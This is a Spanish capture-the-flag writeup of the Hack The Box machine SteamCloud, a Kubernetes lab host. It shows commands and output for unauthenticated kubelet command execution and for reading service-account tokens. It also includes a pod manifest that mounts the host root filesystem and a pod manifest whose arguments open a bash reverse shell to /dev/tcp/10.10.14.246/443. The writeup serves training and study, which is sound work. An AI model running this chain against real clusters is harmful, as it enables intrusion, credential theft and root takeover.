Inicio SteamCloud Writeup
Entrada
Cancelar
Banner Steamcloud

SteamCloud Writeup

Máquina Easy, encontramos un contenedor en kubernetes vulnerable a un RCE, nos aprovechamos que podemos crear pods para hacer uno desde la raiz de archivos de esta forma consiguiendo leer archivos necesarios para mandarnos una reverse shell como root.

Recopilación de Información

Primero vamos a comprobar la conectividad con la máquina.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.11.133
PING 10.10.11.133 (10.10.11.133) 56(84) bytes of data.
64 bytes from 10.10.11.133: icmp_seq=1 ttl=63 time=41.5 ms

--- 10.10.11.133 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 41.518/41.518/41.518/0.000 ms

En la salida del comando anterior se puede ver un parametro llamado ttl, gracias a este parametro podemos saber que sistema operativo está corriendo en la máquina víctima.

  • GNU/Linux = TTL 64
  • Windows = TTL 128

En este caso, el sistema operativo que está corriendo en la máquina víctima es GNU/Linux.

Vamos a usar la herramienta nmap para descubrir que puertos estan abiertos y que servicios estan asociados a estos.

1
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.133 -oG allPorts
  • -p- > Escanea todos los puertos (65535)
  • –open > Muestra solo los puertos con un estatus “open”
  • -sS > Aplica un TCP SYN Scan
  • –min-rate 5000 > Indica que quiero emitir paquetes no más lentos que 5000 paquetes por segundo
  • -vvv > Muestra la información en pantalla a medida que se descubre
  • -n > Indica que no aplique resolución DNS
  • -Pn > Indica que no aplique el protocolo ARP
  • 10.10.10.11.133 > Dirección IP que se quiere escanear
  • -oG allPorts > Exporta el output a un fichero grepeable con nombre “allPorts”

Este sería el output del comando

1
2
3
4
5
6
7
8
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-20 22:13 CET
Scanning 10.10.11.133 [65535 ports]
PORT     STATE SERVICE     REASON
22/tcp   open  ssh         syn-ack zsh:1: command not found: ttl
ttl 63
80/tcp   open  http        syn-ack ttl 63
2380/tcp open  etcd-server syn-ack ttl 63
8443/tcp open  https-alt   syn-ack ttl 63

Ahora vamos a realizar un escaneo más profundo, también con nmap pero esta vez solamente lanzaremos scripts básicos de enumeración y analizaremos la versión de los puertos abiertos obtenidos anteriormente.

1
❯ nmap -p22,80,2380,8443 -sC -sV 10.10.11.133 -oN targeted
  • -p22,80,2380,8443 > Indica los puertos que se quieren escanear, en este caso el 22, 80, 2380 y 8443
  • -sC > Lanza scripts básicos de enumeración
  • -sV > Enumera la versión y servicio que está corriendo en los puertos
  • 10.10.10.133 > Dirección IP que se quiere escanear
  • -oN targeted > Exporta el output a un fichero en formato nmap con nombre “targeted”

Este sería el output del comando:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-20 23:20 CET
Nmap scan report for 10.10.11.133

PORT     STATE SERVICE          VERSION
22/tcp   open  ssh              OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 fc:fb:90:ee:7c:73:a1:d4:bf:87:f8:71:e8:44:c6:3c (RSA)
|   256 46:83:2b:1b:01:db:71:64:6a:3e:27:cb:53:6f:81:a1 (ECDSA)
|_  256 1d:8d:d3:41:f3:ff:a4:37:e8:ac:78:08:89:c2:e3:c5 (ED25519)
80/tcp   open  http             nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
2380/tcp open  ssl/etcd-server?
| tls-alpn: 
|_  h2
| ssl-cert: Subject: commonName=steamcloud
| Not valid before: 2022-02-18T06:07:47
|_Not valid after:  2023-02-18T06:07:47
|_ssl-date: TLS randomness does not represent time
8443/tcp open  ssl/https-alt
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 403 Forbidden
|     Audit-Id: eeb68a72-4592-4223-9d3c-2ce2d188946c
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 8d512b1b-c9d1-48ff-89fd-f8bad492b299
|     X-Kubernetes-Pf-Prioritylevel-Uid: 77d1019f-b812-40a4-a4c6-c46d9794dba2
|     Date: Sun, 20 Feb 2022 22:38:13 GMT
|     Content-Length: 212
					---SKIP---

Los puertos abiertos y sus servicios asocidados son:

  • 22/tcp > ssh
  • 80/tcp > http
  • 2380/tcp > ssl/etcd-server
  • 8443/tcp > ssl/https-alt

Busqueda de vulnerabilidades

Si analizamos los servicios web que alojan los puertos 80 y 8443 veremos que el 80 aloja una página web básica de nginx y el 8443 aloja otra en la que podemos ver que se esta usando kubernetes y que existe un usuario llamado “anonymous”.

¿Qué es Kubernetes?

Kubernetes es una plataforma de código abierto para administrar cargas de trabajo y servicios. Utilizando un entorno de administración enfocado en contenedores.

Disponen de su propia herramienta kubectl, por lo que intento autenticarme con el usuario “anonymous” intentando además conseguir un poco de información sobre el cluster pero necesita una contraseña.

1
2
3
❯ kubectl --server https://10.10.11.133:8443 cluster-info
Please enter Username: anonymous
Please enter Password:

Buscando acerca de Kubernetes encontré una herramienta en github llamada “Kubeletctl”, la podeis ver en el siguiente repositorio. Kubeletctl es una herramienta de línea de comando que implementa la API de Kubelet.

Kubeletctl nos permite mostrar los pods del servidor de Kubernetes.

1
❯ kubeletctl pods -s 10.10.11.133
  • pods > Muestra la lista de pods
  • -s 10.10.11.133 > Indica la dirección IP del servidor

Obtenemos toda esta lista de pods del servidor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌────────────────────────────────────────────────────────────────────────────────┐
│                                Pods from Kubelet                               │
├───┬────────────────────────────────────┬─────────────┬─────────────────────────┤
│   │ POD                                │ NAMESPACE   │ CONTAINERS              │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 1 │ etcd-steamcloud                    │ kube-system │ etcd                    │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 2 │ kube-apiserver-steamcloud          │ kube-system │ kube-apiserver          │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 3 │ kube-scheduler-steamcloud          │ kube-system │ kube-scheduler          │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 4 │ nginx                              │ default     │ nginx                   │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 5 │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 6 │ storage-provisioner                │ kube-system │ storage-provisioner     │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 7 │ kube-proxy-fkss9                   │ kube-system │ kube-proxy              │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 8 │ coredns-78fcd69978-mfjfc           │ kube-system │ coredns                 │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 9 │ michaelserra                       │ default     │ michaelserra            │
│   │                                    │             │                         │
└───┴────────────────────────────────────┴─────────────┴─────────────────────────┘

También permite escanear el servidor en busqueda de containers vulnerables a RCE.

1
❯ kubeletctl scan rce -s 10.10.11.133
  • scan rce > Escanea los nodos de la API de Kubelet con la vulnerabilidad RCE.
  • -s 10.10.11.133 > Indica la dirección IP del servidor

El output nos muestra cuales son los containers vulnerables a un RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌─────────────────────────────────────────────────────────────────────────────────────────────────────┐
│                                   Node with pods vulnerable to RCE                                  │
├───┬──────────────┬────────────────────────────────────┬─────────────┬─────────────────────────┬─────┤
│   │ NODE IP      │ PODS                               │ NAMESPACE   │ CONTAINERS              │ RCE │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│   │              │                                    │             │                         │ RUN │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 1 │ 10.10.11.133 │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │ -   │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 2 │              │ storage-provisioner                │ kube-system │ storage-provisioner     │ -   │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 3 │              │ kube-proxy-fkss9                   │ kube-system │ kube-proxy              │ +   │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 4 │              │ coredns-78fcd69978-mfjfc           │ kube-system │ coredns                 │ -   │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 5 │              │ michaelserra                       │ default     │ michaelserra            │ +   │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 6 │              │ etcd-steamcloud                    │ kube-system │ etcd                    │ -   │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 7 │              │ kube-apiserver-steamcloud          │ kube-system │ kube-apiserver          │ -   │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 8 │              │ kube-scheduler-steamcloud          │ kube-system │ kube-scheduler          │ -   │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 9 │              │ nginx                              │ default     │ nginx                   │ +   │
└───┴──────────────┴────────────────────────────────────┴─────────────┴─────────────────────────┴─────┘

Explotación

Ya sabiendo que containers son vulnerables a un RCE podemos elegir el que queramos y ejecutar comandos en el, en este caso yo he utilizado el nginx.

1
❯ kubeletctl run "id" -p nginx -c nginx -s 10.10.11.133
  • run “id” > Indica el comando que vas a querer ejecutar
  • -p nginx > Indica el POD
  • -c nginx > Indica el container
  • -s 10.10.11.133 > Indica la dirección IP del servidor

Sorprendentemente estamos ejecutando comandos como el usuario root

1
uid=0(root) gid=0(root) groups=0(root)

Podemos ver la flag del usuario

1
2
❯ kubeletctl run "cat /root/user.txt" -p nginx -c nginx -s 10.10.11.133
705ad31f80c6532b****************

Post-explotación

Investigando un poco me encontré con este post de HackTricks. En él indica que existe un objeto llamado “ServiceAccount” que es el que le proporciona un ID a un proceso que se este ejecutando dentro de un POD, este objeto es manejado automaticamente por Kubernetes, por lo que cuando no se le proporciona el atributo “ServiceAccount” al crear un nuevo POD se asigna en unos directorios predeterminados.

Estos directorios son:

  • /run/secrets/kubernetes.io/serviceaccount
  • /var/run/secrets/kubernetes.io/serviceaccount
  • /secrets/kubernetes.io/serviceaccount

Todos estos directorios tienen unos archivos en común:

  • ca.crt > Certificado que comprueba las comunicaciones de Kubernetes
  • namespace > Indica la configuración de nombres actual
  • token > Contiene el token del POD actual

Para poder autenticarnos contra el cluster solamente necesitamos los archivos ca.crt y token. Vamos a guardarnos ambos archivos en local.

1
2
❯ kubeletctl run "cat /run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx -s 10.10.11.133 > ca.crt
❯ kubeletctl run "cat /run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx -s 10.10.11.133 > token

En el siguiente post viene explicada la autenticación en Kubernetes.

1
2
3
❯ kubectl --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IlVhbHFtQWtCZjJuN0hwMUJ2djFaVm85ekRxamhCcHV4bGcxLWtEdnhWSmMifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjc3MTMyNDIxLCJpYXQiOjE2NDU1OTY0MjEsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6IjZlYjE0ZTZjLTAwNWUtNDcxYi05NTUzLTE4MTY5N2FlYzhhNCJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6IjQyMTI4YTY2LTUyYjctNDFhZi1hMjY3LWJiYTFkNGU3MzFlZCJ9LCJ3YXJuYWZ0ZXIiOjE2NDU2MDAwMjh9LCJuYmYiOjE2NDU1OTY0MjEsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.inJpZWoQ4ZR4l4PGJSXmlIz_uEt0-D_3r-DMyksyxmMNAKaNWHzd4GhCwSuw0r1XugTQymm0opbw4CFVizQ07QeFJCx0uL2kNbrz3o70OPU1yycCDsYjudzQu-8JfA7-LB4F3WDiZbWtFlYNnAHiVhJo4O3IBhfikQXHEDKptrMTQHSSbOq8ud2OBIYXq_ZVEqX6gaiAXMLOi-oNKB1NUzdmqJXUYpZYsIUCRc_kmQDLXhZn0JTWdqLHaqiCIlg65c2HI9Iz52hv3LRGmDTL7xrLvgp8v5q8iuO-TRXilrc1qeBdKVbuCC_Gbe92-FhqYwgOzh5LlrYcLHxD9ePsWQ get pod
NAME    READY   STATUS    RESTARTS   AGE
nginx   1/1     Running   0          15m
  • –server https://10.10.11.133:8443 > Indica la dirección URL del servidor
  • –certificate-authority=ca.crt > Indica la ruta del certicado de las comunicaciones de Kubernetes
  • –token=<token> > Indica el Token del POD
  • get pod > Muestra información sobre el POD

Si intentamos conseguir otra información como “cluser-info” no vamos a poder conseguirla porque no tenemos permisos

1
2
3
4
❯ kubectl --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IlREdG5DSnBPR0p2N2Fiank0ckV6Z3B3YVN1TmZmeFRXVUN4SFFRcDF3WEkifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjc3MzY2NTM3LCJpYXQiOjE2NDU4MzA1MzcsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6IjI0NzIxYzkwLTEzMWItNGUzNi05NDJmLTQ5YTliZmRmNjc0YyJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6IjRlOGU1ODgyLTkxODEtNDdjNC04NDhkLTM0NTkyNDVlY2Q1NyJ9LCJ3YXJuYWZ0ZXIiOjE2NDU4MzQxNDR9LCJuYmYiOjE2NDU4MzA1MzcsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.pp_KAAchJDZRkGdgknJ6VykWnbSfhXrwgBYZgyrC00Ma2UkzfeVAYXf0FrdBWMdQ2tkhPow8Fdr17KK41ZMmfUN73JjxDkmYqBD8kbJuru70SJUVRzQsxXCjL8BdvWprHSz7v7DNuhJtxZucD5tME2Yrr0Hv60d9C2k1hQcHoiAJ1sx92oXzhCRGbWeV9L4LTFlq8uDpPSzJWDx3_xeT44tGCL4uvoW9iTCEX5AoO9zjMivPS6Hsj_AYRQaghHfzbEo5hTC48LMrp43m1id6AyZ7kcg2ArIbN4GPPRRSnG6tH-huE5QijFgRhGp8mdJ6f-dH5x2wxGsLK97cPsZdQA cluster-info

To further debug and diagnose cluster problems, use 'kubectl cluster-info dump'.
Error from server (Forbidden): services is forbidden: User "system:serviceaccount:default:default" cannot list resource "services" in API group "" in the namespace "kube-system"

Kubectl tiene un comando llamado auth can-i que es utilizado para listar los permisos de la cuenta actual

1
2
3
4
5
6
❯ kubectl auth can-i --list --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IlREdG5DSnBPR0p2N2Fiank0ckV6Z3B3YVN1TmZmeFRXVUN4SFFRcDF3WEkifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjc3MzY2NTM3LCJpYXQiOjE2NDU4MzA1MzcsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6IjI0NzIxYzkwLTEzMWItNGUzNi05NDJmLTQ5YTliZmRmNjc0YyJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6IjRlOGU1ODgyLTkxODEtNDdjNC04NDhkLTM0NTkyNDVlY2Q1NyJ9LCJ3YXJuYWZ0ZXIiOjE2NDU4MzQxNDR9LCJuYmYiOjE2NDU4MzA1MzcsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.pp_KAAchJDZRkGdgknJ6VykWnbSfhXrwgBYZgyrC00Ma2UkzfeVAYXf0FrdBWMdQ2tkhPow8Fdr17KK41ZMmfUN73JjxDkmYqBD8kbJuru70SJUVRzQsxXCjL8BdvWprHSz7v7DNuhJtxZucD5tME2Yrr0Hv60d9C2k1hQcHoiAJ1sx92oXzhCRGbWeV9L4LTFlq8uDpPSzJWDx3_xeT44tGCL4uvoW9iTCEX5AoO9zjMivPS6Hsj_AYRQaghHfzbEo5hTC48LMrp43m1id6AyZ7kcg2ArIbN4GPPRRSnG6tH-huE5QijFgRhGp8mdJ6f-dH5x2wxGsLK97cPsZdQA
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
pods                                            []                                    []               [get create list]
					---SKIP---

La línea que más nos importa es la tercera, en ella muestra que tenemos los permisos get, create y list sobre los pods. Gracias a que tenemos el permiso de listar podemos conseguir información sobre el pod actual.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ kubectl get pod nginx -o yaml --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IlREdG5DSnBPR0p2N2Fiank0ckV6Z3B3YVN1TmZmeFRXVUN4SFFRcDF3WEkifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjc3Mzg0MDc3LCJpYXQiOjE2NDU4NDgwNzcsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6IjI0NzIxYzkwLTEzMWItNGUzNi05NDJmLTQ5YTliZmRmNjc0YyJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6IjRlOGU1ODgyLTkxODEtNDdjNC04NDhkLTM0NTkyNDVlY2Q1NyJ9LCJ3YXJuYWZ0ZXIiOjE2NDU4NTE2ODR9LCJuYmYiOjE2NDU4NDgwNzcsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.LDdoY3-pAoiJIuwESDlxYwb3oYLfUQnimhJ7SkQLVnVeAY_E4aTqCCFV7an8jtvJPJW5yBoQONA0HIWPEAp8quEJAiiOJb9SMdBFt5bTa8Lu5Fqdn_PiMo1YpVOlKPkdcM7QCcOPDapfjs-MYCJgE4_3E8UQd3pp2Q0p093FBjmebZaWHeew1PDQEsMUDPnJZhVUyyZmFtyYyxD5wrHb83QrvsV79X-VMHmKg0B3LQi26E4wM2oQ2eksEmBjUmt8CxE2-8Aky9QZv1ZmDlV5U7TCwXCJWslx7-kgtctqa749B2VLDzMjEroX70yz7mrSulKmCxM6E71jhkUl-cO0zA
apiVersion: v1
kind: Pod
metadata:
  annotations:
    kubectl.kubernetes.io/last-applied-configuration: |
      {"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{},"name":"nginx","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","imagePullPolicy":"Never","name":"nginx","volumeMounts":[{"mountPath":"/root","name":"flag"}]}],"volumes":[{"hostPath":{"path":"/opt/flag"},"name":"flag"}]}}
  creationTimestamp: "2022-02-25T06:07:01Z"
  name: nginx
  namespace: default
  resourceVersion: "519"
  uid: 24721c90-131b-4e36-942f-49a9bfdf674c
spec:
  containers:
  - image: nginx:1.14.2
    imagePullPolicy: Never
    name: nginx
    resources: {}
    terminationMessagePath: /dev/termination-log
    terminationMessagePolicy: File
    volumeMounts:
    - mountPath: /root
      name: flag
    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
      name: kube-api-access-zxdkw
      readOnly: true
					---SKIP---

Los datos más importantes son:

  • namespace > default
  • image > nginx:1.14.2

Procedemos a crear un nuevo pod que este montado en la raíz de los archivos, es decir, en “/”. Cuando ejecutemos el pod tendremos acceso a todo el sistema de archivos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
apiVersion: v1 
kind: Pod
metadata:
  name: xdann1
  namespace: default
spec:
  containers:
  - name: xdann1
    image: nginx:1.14.2
    volumeMounts: 
    - mountPath: /mnt
      name: hostfs
  volumes:
  - name: hostfs
    hostPath:  
      path: /
  automountServiceAccountToken: true
  hostNetwork: true

Primero tendremos que cargar el pod para luego poder ejecutarlo

1
2
❯ kubectl apply -f xdann1.yaml  --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IlREdG5DSnBPR0p2N2Fiank0ckV6Z3B3YVN1TmZmeFRXVUN4SFFRcDF3WEkifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjc3Mzg0MDc3LCJpYXQiOjE2NDU4NDgwNzcsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6IjI0NzIxYzkwLTEzMWItNGUzNi05NDJmLTQ5YTliZmRmNjc0YyJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6IjRlOGU1ODgyLTkxODEtNDdjNC04NDhkLTM0NTkyNDVlY2Q1NyJ9LCJ3YXJuYWZ0ZXIiOjE2NDU4NTE2ODR9LCJuYmYiOjE2NDU4NDgwNzcsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.LDdoY3-pAoiJIuwESDlxYwb3oYLfUQnimhJ7SkQLVnVeAY_E4aTqCCFV7an8jtvJPJW5yBoQONA0HIWPEAp8quEJAiiOJb9SMdBFt5bTa8Lu5Fqdn_PiMo1YpVOlKPkdcM7QCcOPDapfjs-MYCJgE4_3E8UQd3pp2Q0p093FBjmebZaWHeew1PDQEsMUDPnJZhVUyyZmFtyYyxD5wrHb83QrvsV79X-VMHmKg0B3LQi26E4wM2oQ2eksEmBjUmt8CxE2-8Aky9QZv1ZmDlV5U7TCwXCJWslx7-kgtctqa749B2VLDzMjEroX70yz7mrSulKmCxM6E71jhkUl-cO0zA
pod/xdann1 created

Vamos a listar los pods existentes

1
❯ kubeletctl scan rce -s 10.10.11.133
  • scan rce > Escanea los nodos de la API de Kubelet con la vulnerabilidad RCE.
  • -s 10.10.11.133 > Indica la dirección IP del servidor
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌─────────────────────────────────────────────────────────────────────────────────────────────────────┐
│                                   Node with pods vulnerable to RCE                                  │
├───┬──────────────┬────────────────────────────────────┬─────────────┬─────────────────────────┬─────┤
│   │ NODE IP      │ PODS                               │ NAMESPACE   │ CONTAINERS              │ RCE │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│   │              │                                    │             │                         │ RUN │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 1 │ 10.10.11.133 │ kube-apiserver-steamcloud          │ kube-system │ kube-apiserver          │ -   │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 2 │              │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │ -   │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 3 │              │ kube-scheduler-steamcloud          │ kube-system │ kube-scheduler          │ -   │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 4 │              │ xdann1                             │ default     │ xdann1                  │ +   │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 5 │              │ nginx                              │ default     │ nginx                   │ +   │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 6 │              │ etcd-steamcloud                    │ kube-system │ etcd                    │ -   │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 7 │              │ storage-provisioner                │ kube-system │ storage-provisioner     │ -   │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 8 │              │ kube-proxy-9nvcj                   │ kube-system │ kube-proxy              │ +   │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 9 │              │ coredns-78fcd69978-szddh           │ kube-system │ coredns                 │ -   │
└───┴──────────────┴────────────────────────────────────┴─────────────┴─────────────────────────┴─────┘

Ya podemos ver que se ha creado correctamente el pod, por lo que procedemos a ejecutar comandos sobre el.

1
❯ kubeletctl run "pwd" -s 10.10.11.133 -p xdann1 -p xdann1 -c xdann1

Podemos leer la bandera de root

1
2
❯ kubeletctl run "cat /mnt/root/root.txt" -s 10.10.11.133 -p xdann1 -p xdann1 -c xdann1
b8e39d9290d5c7******************

Ya tenemos todas las flags pero nos falta acceder a la máquina. Simplemente tendremos que crear un nuevo pod pero esta vez tendremos que hacer que ejecute una reverse shell cuando se cargue.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
apiVersion: v1
kind: Pod
metadata:
  name: reverse
  namespace: default
spec:
  containers:
  - name: reverse
    image: nginx:1.14.2
    command: ["/bin/bash"]
    args: ["-c", "/bin/bash -i >& /dev/tcp/10.10.14.246/443 0>&1"]
    volumeMounts:
    - mountPath: /mnt
      name: hostfs
  volumes:
  - name: hostfs
    hostPath:
      path: /
  automountServiceAccountToken: true
  hostNetwork: true

Nos ponemos en escucha

1
❯ nc -nlvp 443

Cargamos el nuevo pod con la reverse-shell

1
2
❯ kubectl apply -f reverse.yaml --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IlREdG5DSnBPR0p2N2Fiank0ckV6Z3B3YVN1TmZmeFRXVUN4SFFRcDF3WEkifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjc3Mzg0MDc3LCJpYXQiOjE2NDU4NDgwNzcsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6IjI0NzIxYzkwLTEzMWItNGUzNi05NDJmLTQ5YTliZmRmNjc0YyJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6IjRlOGU1ODgyLTkxODEtNDdjNC04NDhkLTM0NTkyNDVlY2Q1NyJ9LCJ3YXJuYWZ0ZXIiOjE2NDU4NTE2ODR9LCJuYmYiOjE2NDU4NDgwNzcsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.LDdoY3-pAoiJIuwESDlxYwb3oYLfUQnimhJ7SkQLVnVeAY_E4aTqCCFV7an8jtvJPJW5yBoQONA0HIWPEAp8quEJAiiOJb9SMdBFt5bTa8Lu5Fqdn_PiMo1YpVOlKPkdcM7QCcOPDapfjs-MYCJgE4_3E8UQd3pp2Q0p093FBjmebZaWHeew1PDQEsMUDPnJZhVUyyZmFtyYyxD5wrHb83QrvsV79X-VMHmKg0B3LQi26E4wM2oQ2eksEmBjUmt8CxE2-8Aky9QZv1ZmDlV5U7TCwXCJWslx7-kgtctqa749B2VLDzMjEroX70yz7mrSulKmCxM6E71jhkUl-cO0zA
pod/reverse created

Y ya hemos conseguido acceso a la máquina

1
2
root@steamcloud:/# hostname
steamcloud
